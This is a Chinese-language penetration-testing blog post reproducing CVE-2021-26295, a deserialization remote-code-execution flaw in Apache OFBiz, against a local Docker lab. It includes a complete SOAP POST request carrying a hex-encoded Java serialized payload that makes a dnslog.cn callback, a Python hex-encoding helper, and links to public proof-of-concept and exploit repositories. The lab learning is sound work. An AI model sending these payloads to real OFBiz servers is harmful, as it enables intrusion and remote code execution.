Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)

OFBiz介绍

OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。
OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎,
工作流引擎, 规则引擎等,OFBiz 已经正式成为 Apache 的顶级项目: Apache OFBiz。

影响版本

apache:ofbiz: <17.12.06

环境部署

使用docker环境部署
拉去镜像

sudo docker pull opensourceknight/ofbiz

Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)_第1张图片
启动容器

sudo docker run -d -p 8888:8080 -p 8443:8443 opensourceknight/ofbiz

Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)_第2张图片
在复现时,遇到了物理机无法访问docker内服务的问题
通过以下方法解决,参考文章

# 停止docker服务
systemctl stop docker
# 重建 docker 网络
ifconfig docker0 down
brctl delbr docker0
# 重启docker服务
systemctl start docker

漏洞伪造
http://192.168.72.129:8443/webtools/control/SOAPService
http://192.168.72.129:8888/webtools/control/SOAPService

POC

https://github.com/yumusb/CVE-2021-26295
https://github.com/rakjong/CVE-2021-26295-Apache-OFBiz

Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)_第3张图片
手工测试

漏洞测试URL
http://192.168.72.129:8443/webtools/control/SOAPService
http://192.168.72.129:8888/webtools/control/SOAPService

POST /webtools/control/SOAPService HTTP/1.1
Host: 192.168.72.129:8888
Content-Length: 1007
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/xml
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
		<soapenv:Header/>
		<soapenv:Body>
		<ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff7400107261796431352e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f7261796431352e646e736c6f672e636e78</cus-obj>
            </map-Key>
            <map-Value>
                <std-String value="http://rayd15.dnslog.cn"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
		</ser>
		</soapenv:Body>
		</soapenv:Envelope>

Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)_第4张图片
这两个值要替换成自己生成的
在这里插入图片描述

import binascii
filename = '1.ot'
with open(filename, 'rb') as f:
    content = f.read()
print(binascii.hexlify(content))

Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)_第5张图片
Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)_第6张图片
发送和查看dnslog,发现新增记录。说明存在漏洞。

EXP

https://github.com/r0ckysec/CVE-2021-26295

参考

https://www.secpulse.com/archives/156622.html

你可能感兴趣的:(渗透测试学习,CVE-2021-26295)